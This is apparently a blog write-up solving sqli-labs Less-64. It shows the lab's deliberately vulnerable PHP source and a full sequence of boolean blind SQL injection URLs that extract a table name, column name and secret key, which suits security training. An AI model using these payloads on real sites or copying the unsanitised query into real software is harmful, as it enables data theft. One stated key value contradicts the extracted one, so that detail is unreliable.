sqli-labs通关笔记-第64关 GET数值型SQL盲注(双括号闭合 130次探测机会)

原创 于 2025-08-23 11:12:11 发布 · 1k 阅读 · 9 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
GEO检测
收录于
sqli-labs靶场

当前文章被收录于：

sqli-labs靶场
73 篇文章 8 人学习

sqli-labs靶场通关笔记

订阅专栏 查看详情

目录

一、代码审计

1、源码分析

2、SQL注入风险分析

（1）联合SQL注入方法（不可行）

（2）报错SQL注入方法（不可行）

（3）总结

二、渗透实战

1、渗透准备

2、爆数据库名

3、爆表名

4、爆列名

5、爆数据

6、输入密钥

SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境，本小节对第64关Less 64基于GET型的字符SQL盲注关卡进行渗透实战，该关卡限制渗透尝试的次数为130次。相对于63关卡区别是闭合方式由单引号变为双括号。

一、代码审计

1、源码分析

第64关卡是一个 SQL 盲注挑战页面，相对于63关卡区别是闭合方式由单引号变为双括号，对比如下所示。

第64关卡index.php经过注释的源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-64:Challenge-11</title>
</head>

<body bgcolor="#000000">
<!-- 右上角的重置挑战表单 -->
<div style="text-align:right">
    <form action="" method="post">
        <input type="submit" name="reset" value="Reset the Challenge!" />
    </form>
</div>

<!-- 页面主内容区域：欢迎信息与挑战说明 -->
<div style="margin-top:20px;color:#FFF;font-size:23px;text-align:center">
    Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000">Dhakkan</font><br>
    <font size="3" color="#FFFF00">
    
    <?php
    // 引入数据库连接文件和工具函数（包含数据库账号密码等敏感信息）
    include '../sql-connections/sql-connect-1.php';
    include '../sql-connections/functions.php';
    
    // 关闭PHP错误报告，避免泄露服务器路径等敏感信息
    error_reporting(0);
    
    // 获取当前页面URL路径，用于重定向时携带参数
    $pag = $_SERVER['PHP_SELF'];
    
    // 定义随机字符集（用于生成随机表名、列名等）
    $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    
    // 允许的最大尝试次数（用户需在130次内获取密钥）
    $times = 130;
    
    // 生成随机表名和列名（来自functions.php的自定义函数）
    $table = table_name();       // 随机表名（属于challenges数据库）
    $col = column_name(1);       // 第一列名（如"session_id"）
    $col1 = column_name(2);      // 第二列名（如"secret_key"）
    
    // 逻辑分支：处理非答案提交的请求（即用户未提交secret key）
    if (!isset($_POST['answer_key'])) {
        
        // 子逻辑：处理重置挑战请求
        if (isset($_POST['reset'])) {
            // 删除挑战相关Cookie（用于跟踪用户会话）
            setcookie('challenge', ' ', time() - 3600000);
            echo "<font size=4>You have reset the Challenge</font><br>\n";
            echo "Redirecting you to main challenge page..........\n";
            // 4秒后重定向到数据库初始化页面，重新生成随机表和数据
            header("refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag");
            exit; // 终止脚本执行，确保重定向生效
        } else {
            // 子逻辑：处理Cookie验证与会话管理
            if (isset($_COOKIE['challenge'])) {
                // 从Cookie中获取会话ID
                $sessid = $_COOKIE['challenge'];
            } else {
                // 生成新的会话ID并设置Cookie（有效期30天）
                $expire = time() + 60 * 60 * 24 * 30;
                $hash = data($table, $col); // 生成随机哈希值（可能为随机字符串）
                setcookie("challenge", $hash, $expire);
            }
            echo "<br>\n";
            
            // 子逻辑：处理用户提交的ID参数（核心风险点）
            if (isset($_GET['id'])) {
                $id = $_GET['id']; // 直接获取用户输入的id参数，未做任何过滤
                
                // 记录用户输入的id到日志文件（用于安全分析）
                $fp = fopen('result.txt', 'a');
                fwrite($fp, 'ID:' . $id . "\n");
                fclose($fp);
                
                // 更新尝试次数计数器（数据库中记录用户尝试次数）
                next_tryy();
                
                // 获取并显示已尝试次数
                $tryyy = view_attempts();
                echo "You have made : " . $tryyy . " of $times attempts";
                echo "<br><br><br>\n";
                
                // 尝试次数超限处理：重置挑战
                if ($tryyy >= ($times + 1)) {
                    setcookie('challenge', ' ', time() - 3600000);
                    echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
                    header("refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag");
                    echo "<br>\n";
                }
                
                // 核心SQL查询（存在SQL注入风险）
                // 构造SQL语句时，将用户输入的$id包裹在双重括号中：id=(($id))
                // 但未对$id进行转义或类型校验，仍存在注入风险
                $sql = "SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
                $result = mysqli_query($con1, $sql);
                $row = mysqli_fetch_array($result, MYSQLI_BOTH);
                
                // 处理查询结果：若存在记录，显示预设的用户名和密码（非真实数据库数据）
                if ($row) {
                    $unames = array("Dumb", "Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1", "admin2", "admin3", "dhakkan", "admin4");
                    $pass = array_reverse($unames); // 密码为用户名数组的逆序
                    echo '<font color= "#00FFFF">';
                    echo 'Your Login name : ' . $unames[$row['id']]; // 使用查询结果中的id作为数组索引
                    echo "<br>Your Password : " . $pass[$row['id']];
                    echo "</font>";
                } else {
                    // 查询失败时不显示错误信息，避免泄露数据库结构
                    echo '<font color= "#FFFF00">';
                    // print_r(mysqli_error($con1)); // 注释掉的错误信息输出
                    echo "</font>";
                }
            } else {
                // 用户未提交id参数时的提示信息
                echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";
                echo "<font color='#00FFFF' size=3>";
                echo "The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
                echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>";
            }
        }
    } else {
        // 逻辑分支：处理用户提交的secret key
        echo '<div style="color:#00FFFF;font-size:18px;text-align:center">';
        $key = addslashes($_POST['key']); // 对密钥进行转义（初步过滤）
        $key = mysqli_real_escape_string($con1, $key); // 数据库层转义，防止SQL注入
        
        // 查询随机表验证密钥是否正确
        $sql = "SELECT 1 FROM $table WHERE $col1= '$key'";
        $result = mysqli_query($con1, $sql) or die("error in submittion of Key Solution" . mysqli_error($con1));
        $row = mysqli_fetch_array($result, MYSQLI_BOTH);
        
        // 根据验证结果返回不同响应
        if ($row) {
            // 密钥正确：显示成功图片并重定向
            echo '<font color= "#FFFF00">';
            echo "\n<br><br><br>";
            echo '<img src="../images/Less-54-1.jpg" />'; // 成功图片路径
            header("refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag"); // 重定向到初始化页面
        } else {
            // 密钥错误：显示失败图片并重定向
            echo '<font color= "#FFFF00">';
            echo "\n<br><br><br>";
            echo '<img src="../images/slap1.jpg" />'; // 失败图片路径
            header("refresh:3;url=index.php"); // 重定向到首页
        }
        echo "</font>";
    }
    ?>
    
    </font> </div></br></br></br><center>
    <!-- 装饰性图片 -->
    <img src="../images/Less-64.jpg" />
</center>
<br><br><br>

<!-- 提交密钥的表单 -->
<div style="color:#00FFFF;font-size:18px;text-align:center">
    <form name="input" action="" method="post">
        Submit Secret Key: <input type="text" name="key">
        <input type="submit" name="answer_key" value="Submit">
    </form> 
</div>

</body>
</html>

本关卡核心功能包括：通过 GET 参数 “id” 查询 “security.users” 表并显示用户信息，利用 COOKIE 存储挑战状态，提供重置功能以生成随机表名、列名和数据（存储于 “CHALLENGES” 数据库），用户需在130次尝试内通过注入获取随机表中的 “secret key” 并提交验证。代码存在字符串型 SQL 注入风险（“id” 参数未过滤），因为没有打印数据库的信息导致无法通过报错法注入，具体处理逻辑如下所示。 

  • 用户认证模拟：通过id参数查询security.users表，返回预设的用户名和密码数组（非数据库真实数据），用于演示注入场景。
  • 挑战机制：用户需在 130 次尝试内，通过 SQL 注入获取CHALLENGES数据库中随机表的secret key并提交验证。
  • 重置功能：支持通过 POST 请求重置挑战，生成新的随机表名、列名和数据，并清除 Cookie。

2、SQL注入风险分析

（1）联合SQL注入方法（不可行）

联合注入法（Union-based SQL Injection）是 SQL 注入攻击中一种高效的技术，攻击者通过构造恶意输入，将额外的查询语句与原查询结合，从而获取数据库中的敏感信息。但是联合注入依赖于页面回显来获取数据。如果页面不输出数据库查询结果的内容，则无法直接通过 UNION 查询获取结果。如下所示，这是从58关开始页面在查询成功后的输出，很明显从预设数组中返回用户名和密码（非数据库真实数据），既然页面无法返回数据库真实数据，那么就无法使用联合注入法渗透。

if ($row) {
    // 查询成功时，从预设数组中返回用户名和密码（非数据库真实数据）
    $unames = array("Dumb", "Angelina", "Dummy", "secure", "stupid", "superman", "batman",   "admin", "admin1", "admin2", "admin3", "dhakkan", "admin4");
    $pass = array_reverse($unames); // 密码数组为用户名数组的逆序
    echo '<font color= "#00FFFF">';
    echo '你的登录名：' . $unames[$row['id']]; // 使用查询结果中的id作为数组索引
    echo "<br>你的密码：" . $pass[$row['id']];
    echo "</font>";
}

（2）报错SQL注入方法（不可行）

报错注入是一种利用数据库错误信息获取敏感数据的渗透方法，其成功实施需要在数据库执行错误的 SQL 语句时，错误信息会被返回给客户端（如浏览器），且未被应用程序捕获或屏蔽。如下所示本关卡中没有打印数据库报错信息，故而无法使用报错法进行渗透。

if ($row) {
 ......
} else {
 // **关键差异**：查询失败时打印数据库错误信息
 echo '<font color= "#FFFF00">';
 //print_r(mysqli_error($con1)); // 输出MySQL错误信息，如语法错误、表不存在等
 echo "</font>";  
}

（3）总结

本关卡具有SQL注入风险，参数id通过GET传入，仅使用双括号包裹，并未做任何过滤，由于限制130次，故只能使用盲注法尝试注入。

$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

二、渗透实战

1、渗透准备

进入sqli-labs靶场首页，其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡，如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page4挑战(Challenges)页面，如下图红框所示。 

其中第64关在挑战关卡“SQLi-LABS Page-4(Challenges)”中， 点击进入如下页面。 

http://192.168.59.1/sqli-labs/index-3.html#fm_imagemap

点击上图红框的Less64关卡，进入到靶场的第64关SQL注入关卡（限制130次），页面提示“ Please input the ID as parameter with numeric value as done in Lab excercises ”，以及“The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 130 attempts，For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.”具体如下所示。 

http://192.168.59.1/sqli-labs/Less-64/

根据之前的渗透经验，表名、列名和元素内容如下所示。

  • 数据库名：固定，数据库名都是challenges。
  • 表名：数据库有一个表table（固定的），表名长度是10，表名是随机10个字符。
  • 列名：table共有4列（固定），其中第1列、第2列和第4列是固定的（分别为id,sessid,tryy），仅有第3列名是变化的，第3列的列名长度固定为11，前7个字符固定为SECRET_，后4个字符随机。
  • 字段：表中第3列元素长度固定为24，对应的元素为随机24个字符。

综上所述：表名10个字符是随机的，列名后4个字符是随机的，数据元素24个字符是随机的，一共有38个字符是随机的，这个关卡仅有130次尝试机会，还是非常难在130次成功渗透的。

2、爆数据库名

如下所示，用户名显示信息为challenges，说明数据库名为“challenges”。

[+] 第一步：探测数据库名
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND LENGTH(DATABASE()) = 10--+ True
数据库名长度：10
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 1, 1) = CHAR(67)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 2, 1) = CHAR(72)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 3, 1) = CHAR(65)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 4, 1) = CHAR(76)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 5, 1) = CHAR(76)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 6, 1) = CHAR(69)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 7, 1) = CHAR(78)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 8, 1) = CHAR(71)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 9, 1) = CHAR(69)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 10, 1) = CHAR(115)--+ True
数据库名：CHALLENGEs

3、爆表名

如下所示，数据库challenges包含表格“ENDr9C1pEp”。

[+] 第二步：探测表信息
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND (SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs') = 1--+ True
表数量：1
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND LENGTH((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1)) = 10--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 1, 1) = CHAR(69)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 2, 1) = CHAR(78)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 3, 1) = CHAR(68)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 4, 1) = CHAR(114)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 5, 1) = CHAR(57)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 6, 1) = CHAR(67)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 7, 1) = CHAR(49)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 8, 1) = CHAR(112)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 9, 1) = CHAR(69)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 10, 1) = CHAR(112)--+ True
表 1：ENDr9C1pEp

4、爆列名

如下所示，ENDr9C1pEp表的列名包括id,sessid,SECRET_K0DV,tryy共4项目内容。

[+] 第三步：探测表 ENDr9C1pEp 的列
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND (SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp') = 4--+ True
列数量：4
[*] 正在探测表 ENDr9C1pEp 的第 3 列名...
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND LENGTH((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1)) = 11--+ True
[+] 列名长度: 11
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 1, 1) = CHAR(83)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 2, 1) = CHAR(69)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 3, 1) = CHAR(67)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 4, 1) = CHAR(82)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 5, 1) = CHAR(69)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 6, 1) = CHAR(84)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 7, 1) = CHAR(95)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 8, 1) = CHAR(75)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 9, 1) = CHAR(48)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 10, 1) = CHAR(68)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 11, 1) = CHAR(86)--+ True
[+] 列名: SECRET_K0DV

5、爆数据

如下所示，SQL注入获取到SECRET_K0DV对应的值为AJp5VPNYlV6KQuRgOYx6D8PW。

[+] 第四步：探测列 SECRET_K0DV 的数据

[*] 开始提取 ENDr9C1pEp.SECRET_K0DV 的第一行数据
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND LENGTH((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1)) = 24--+ True
[+] 数据长度: 24 字符
[*] 正在提取数据...
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 1, 1) = CHAR(72)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 2, 1) = CHAR(121)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 3, 1) = CHAR(120)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 4, 1) = CHAR(121)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 5, 1) = CHAR(122)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 6, 1) = CHAR(112)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 7, 1) = CHAR(68)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 8, 1) = CHAR(118)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 9, 1) = CHAR(71)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 10, 1) = CHAR(78)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 11, 1) = CHAR(119)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 12, 1) = CHAR(68)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 13, 1) = CHAR(121)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 14, 1) = CHAR(55)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 15, 1) = CHAR(67)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 16, 1) = CHAR(53)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 17, 1) = CHAR(65)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 18, 1) = CHAR(72)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 19, 1) = CHAR(113)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 20, 1) = CHAR(79)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 21, 1) = CHAR(77)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 22, 1) = CHAR(115)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 23, 1) = CHAR(67)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 24, 1) = CHAR(74)--+ True
数据值：HyxyzpDvGNwDy7C5AHqOMsCJ

6、输入密钥

将 HyxyzpDvGNwDy7C5AHqOMsCJ输入到secret key对应的框内，渗透成功。

burpsuite抓包，找到这个提交密钥的报文，如下所示说明渗透成功。

标签
#sqli-labs靶场 #SQL注入漏洞 #SQL注入 #SQL盲注 #布尔盲注
sqli-labs/Less-64
m0_71299382的博客
11-25 265
sqli-labs第六十四关
sqli-labs靶场通关攻略 61-65
2301_82061181的博客
09-02 539
步骤一：闭合方式：?id=1')) --+步骤三：查出网站的数据库表名。步骤四：查出users表列名。第六一关 less-61。第六二关 less-62。第六三关 less-63。第六四关 less-64。第六五关 less-65。步骤五：获取目标信息。输入登录框,提交成功。
【SQLi_Labs】Challenges
12-12 2256
什么是男子汉？困难打不倒的人才是真正的男子汉！
sql-labs闯关54~65
qq_44663230的博客
09-12 1850
sql-labs闯关54~65
【sqli-labs】 less62 GET -Challenge -Blind -130 queries allowed -Variation1 (GET型 挑战 盲注 只允许130次查询 变化1)...
ajxi63204的博客
01-31 299
允许130次尝试，然后是个盲注漏洞，看来要单字符猜解了 加单引号，页面异常，但报错被屏蔽了 http://192.168.136.128/sqli-labs-master/Less-62/?id=1' 加注释符，说明不止是用单引号闭合 http://192.168.136.128/sqli-labs-master/Less-62/?id=1'%23 ...
SQLi-LABS Page-4 (Challenges)
qq_61774705的博客
08-10 750
sql
特殊时间盲注——对字符进行编码，并通过正常查询获取字符_SQLI-LABS Less-62
Ho1aAs‘s Blog
04-19 650
文章目录前言一、特性Ⅰ、MySQL查询不区分大小写Ⅱ、采用编码的原因Ⅲ、MySQL字符串和数字拼接特性二、编码时间盲注的想法三、代码流程、字典变量、注入点构造、获取每一位的字符1、正则表达式获取用户名，并获取id值2、对字母的操作3、对数字的操作 前言 记一次特殊的时间盲注，题目来源于SQLI-LABS的Less62 题目闭合单引号和括号注入，正常查询的表有13个数据，会回显查到的ID对应的记录，限定查询次数130次，需要得到：表名10字符、列名4字符、flag24字符，均为大小写、数字混合 正常查询：
108大型通信技术有限公司网站源代码(已测试验证)
最新发布
07-06
源码直接下载地址： https://pan.quark.cn/s/be6e03a195a4 该资源为"108大型通信技术有限公司"提供的网站源代码，其功能完整性和经过测试的状态已得到确认。这段源代码可作为极具价值的参考资料，不仅适用于通信技术在网站开发中的学习应用，也适合作为毕业设计项目的基础。以下列出了源代码中可能涵盖的关键知识点及详尽说明： 1. **前端框架与库**：网站极有可能运用了主流的前端框架，例如Bootstrap或AngularJS，或者自行设计的HTML、CSS和JavaScript。这些框架提供了一套完整的用户界面组件，有效简化了页面的布局和交互设计过程。 2. **响应式设计**：鉴于该网站属于大型通信技术公司，源代码大概率集成了响应式设计，确保网站在不同设备（包括手机、平板及桌面电脑）上均能提供优质的用户体验。 3. **通信协议与API**：源代码可能涉及HTTP/HTTPS协议，用于客户端与服务器之间的数据传输。若网站具备实时通信功能，则可能采用了WebSocket或其他实时通信协议。此外，可能还包括与其他服务或系统的API接口，例如RESTful API。 4. **后端技术**：网站的后端可能选用了Java（Spring Boot）、Python（Django或Flask）、Node.js（Express）等服务器端框架。后端主要负责处理业务逻辑、数据库操作和用户认证等任务。 5. **数据库管理**：源代码中可能包含SQL查询，表明使用了关系型数据库（如MySQL、PostgreSQL），或者NoSQL数据库（如MongoDB）。数据库设计对于存储和检索大量通信数据具有关键作用。 6. **安全性**：源代码应包含多项安全措施，如C...
基于 W-GAN 的光伏出力场景生成方法研究（Python代码实现）
07-05
内容概要：本文系统阐述了基于Wasserstein生成对抗网络（W-GAN）的光伏出力场景生成方法，旨在通过深度学习技术精准刻画光伏发电功率的时间序列不确定性。研究构建了完整的W-GAN模型架构，详细介绍了其在网络结构设计、损失函数优化（引入Wasserstein距离提升训练稳定性）及训练流程上的关键技术细节，并提供了完整的Python代码实现。该方法能够生成高保真、多样化的光伏功率出力场景，有效克服传统方法在捕捉复杂概率分布和时序相关性方面的局限性，为处理新能源出力不确定性问题提供了先进的数据驱动解决方案。; 适合人群：具备Python编程能力及机器学习基础知识，专注于新能源发电预测、电力系统规划、电力市场分析、综合能源系统优化等领域研究的高校研究生、科研机构研究人员及电力企业技术人员。; 使用场景及目标：①掌握W-GAN在新能源时序数据生成中的高级应用技巧；②构建高精度的光伏出力不确定性模型，生成用于鲁棒优化与随机规划的多场景集；③支撑高比例可再生能源接入下的电力系统可靠性评估、储能配置、经济调度及风险管控等关键决策； 阅读建议：建议读者务必结合所提供的Python代码进行动手实践，深入理解模型的超参数设置、训练动态监控与收敛性判断方法，并尝试将该方法与文中提及的DDPM、条件GAN等其他前沿生成模型进行对比实验，以深化对不同生成模型特性的认识，拓展解决实际科研问题的技术路径。
人脸分析相关模型合集内容
07-05
